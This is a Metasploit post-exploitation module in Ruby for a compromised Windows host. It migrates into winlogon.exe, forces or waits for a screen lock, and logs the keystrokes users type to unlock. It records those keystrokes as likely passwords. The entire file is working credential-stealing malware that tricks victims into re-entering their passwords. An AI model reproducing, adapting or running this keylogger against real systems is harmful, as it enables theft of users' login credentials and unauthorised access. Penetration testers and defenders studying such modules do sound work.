##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Post

  include Msf::Post::File

  def initialize(info={})
    super( update_info(info,
      'Name'         => 'Windows Capture Winlogon Lockout Credential Keylogger',
      'Description'  => %q{
          This module migrates and logs Microsoft Windows user's passwords via
          Winlogon.exe using idle time and natural system changes to give a
          false sense of security to the user.},
      'License'      => MSF_LICENSE,
      'Author'       => [ 'mubix', 'cg' ],
      'Platform'     => ['win'],
      'SessionTypes' => ['meterpreter'],
      'References'   => [['URL', 'http://blog.metasploit.com/2010/12/capturing-windows-logons-with.html']]
    ))

    register_options(
    [
      OptInt.new('INTERVAL',[true, 'Time between key collection during logging',30]),
      OptInt.new('HEARTBEAT',[true, 'Heart beat between idle checks',30]),
      OptInt.new('LOCKTIME',[true, 'Amount of idle time before lockout',300]),
      OptInt.new('PID',[false,'Target PID, only needed if multiple winlogon.exe instances exist',nil]),
      OptBool.new('WAIT', [true, 'Wait for lockout instead of default method', false])
    ], self.class)
  end

  def check_admin
    status = client.railgun.shell32.IsUserAnAdmin()
    return status['return']
  end

  def get_winlogon
    winlogon = []
    session.sys.process.get_processes().each do |x|
      if x['name'].downcase == "winlogon.exe"
        winlogon << x
      end
    end
    if winlogon.size == 0
      print_status("Winlogon not found! Exiting")
      return 'exit'
    elsif winlogon.size == 1
      return winlogon[0]['pid']
    else
      print_error("Multiple WINLOGON processes found, run manually and specify pid")
      print_error("Be wise. XP / VISTA / 7 use session 0 - 2k3/2k8 use RDP session")
      winlogon.each do |tp|
        print_status("Winlogon.exe - PID: #{tp['pid']} - Session: #{tp['session']}")
      end
      return 'exit'
    end
  end

  #Function for starting the keylogger
  def startkeylogger(session)
    begin
      print_status("Starting the keystroke sniffer...")
      session.ui.keyscan_start
      return true
    rescue
      print_status("Failed to start Keylogging!")
      return false
    end
  end

  # Function for Collecting Capture (pulled from Carlos Perez's Keylogrecorder)
  def keycap(session, keytime, logfile)
    begin
      rec = 1
      #Creating DB for captured keystrokes
      print_status("Keystrokes being saved in to #{logfile}")
      #Inserting keystrokes every number of seconds specified
      print_status("Recording ")
      while rec == 1
        #getting Keystrokes
        data = session.ui.keyscan_dump
        outp = ""
        data.unpack("n*").each do |inp|
          fl = (inp & 0xff00) >> 8
          vk = (inp & 0xff)
          kc = VirtualKeyCodes[vk]

          f_shift = fl & (1<<1)
          f_ctrl	= fl & (1<<2)
          f_alt	= fl & (1<<3)

          if(kc)
            name = ((f_shift != 0 and kc.length > 1) ? kc[1] : kc[0])
            case name
            when /^.$/
              outp << name
            when /shift|click/i
            when 'Space'
              outp << " "
            else
              outp << " <#{name}> "
            end
          else
            outp << " <0x%.2x> " % vk
          end
        end
        select(nil,nil,nil,2)
        file_local_write(logfile,"#{outp}\n")
        if outp != nil and outp.chomp.lstrip != "" then
          print_status("Password?: #{outp}")
        end
        still_locked = 1
        # Check to see if the screen saver is on, then check to see if they have logged back in yet.
        screensaver = client.railgun.user32.SystemParametersInfoA(114,nil,1,nil)['pvParam'].unpack("C*")[0]
        if screensaver == 0
          still_locked = client.railgun.user32.GetForegroundWindow()['return']
        end
        if still_locked == 0
          print_status("They logged back in, the last password was probably right.")
          raise 'win'
        end
        currentidle = session.ui.idle_time
        if screensaver == 0
          print_status("System has currently been idle for #{currentidle} seconds and the screensaver is OFF")
        else
          print_status("System has currently been idle for #{currentidle} seconds and the screensaver is ON")
        end
        select(nil,nil,nil,keytime.to_i)
      end
    rescue::Exception => e
      if e.message != 'win'
        print_line()
        print_status("#{e.class} #{e}")
      end
      print_status("Stopping keystroke sniffer...")
      session.ui.keyscan_stop
    end
  end


  def run
    # Log file variables
    host,port = session.session_host, session.session_port
    filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")					# Create Filename info to be appended to downloaded files
    logs = ::File.join(Msf::Config.log_directory, 'scripts', 'smartlocker')		# Create a directory for the logs
    ::FileUtils.mkdir_p(logs)											# Create the log directory
    logfile = logs + ::File::Separator + host + filenameinfo + ".txt"			# Logfile name


    #Make sure we are on a Windows host
    if client.platform !~ /win32|win64/
        print_status "This module does not support this meterpreter type"
        return
    end

    # Check admin status
    admin = check_admin
    if admin == false
      print_error("Must be an admin to migrate into Winlogon.exe, exiting")
      return
    end

    mypid = session.sys.process.getpid
    if datastore['PID'] == 0
      targetpid = get_winlogon
      if targetpid == 'exit'
        return
      end
      print_status("Found WINLOGON at PID:#{targetpid}")
    else
      targetpid = datastore['PID']
      print_status("WINLOGON PID:#{targetpid} specified. I'm trusting you...")
    end

    if mypid == targetpid
      print_status("Already in WINLOGON no need to migrate")
    else
      print_status("Migrating from PID:#{mypid}")
      begin
        session.core.migrate(targetpid)
      rescue
        print_error("Unable to migrate, try getsystem first")
        return
      end
      print_status("Migrated to WINLOGON PID: #{targetpid} successfully")
    end

    # Override SystemParametersInfo Railgun call to check for Screensaver
    # Unfortunately 'pvParam' changes it's type for each uiAction so
    # it cannot be changed in the regular railgun defs
    client.railgun.add_function('user32','SystemParametersInfoA','BOOL',[
      ["DWORD","uiAction","in"],
      ["DWORD","uiParam","in"],
      ["PBLOB","pvParam","out"],
      ["DWORD","fWinIni","in"]
    ])

    print_good("Keylogging for #{client.info}")
    file_local_write(logfile,"#{client.info}\n")
    if datastore['WAIT'] then
      print_status("Waiting for user to lock out their session")
      locked = false
      while locked == false
        if client.railgun.user32.GetForegroundWindow()['return'] != 0
          locked = true
          print_status("Session has been locked out")
        else
          # sleep(keytime.to_i) / hardsleep applied due to missing loging right after lockout.. no good way to solve this
          select(nil,nil,nil, 2)
        end
      end
    else
      currentidle = session.ui.idle_time
      print_status("System has currently been idle for #{currentidle} seconds")
      while currentidle <= datastore['LOCKTIME'] do
        print_status("Current Idle time: #{currentidle} seconds")
        select(nil,nil,nil,datastore['HEARTBEAT'])
        currentidle = session.ui.idle_time
      end
      client.railgun.user32.LockWorkStation()
      if client.railgun.user32.GetForegroundWindow()['return'] == 0
        print_error("Locking the workstation falied, trying again..")
        client.railgun.user32.LockWorkStation()
        if client.railgun.user32.GetForegroundWindow()['return'] == 0
          print_error("The system will not lock this session, nor will it be used for user login, exiting...")
          return
        else
          print_status("Locked this time, time to start keyloggin...")
        end
      end
    end

    if startkeylogger(session)
      keycap(session, datastore['INTERVAL'], logfile)
    end
  end
end
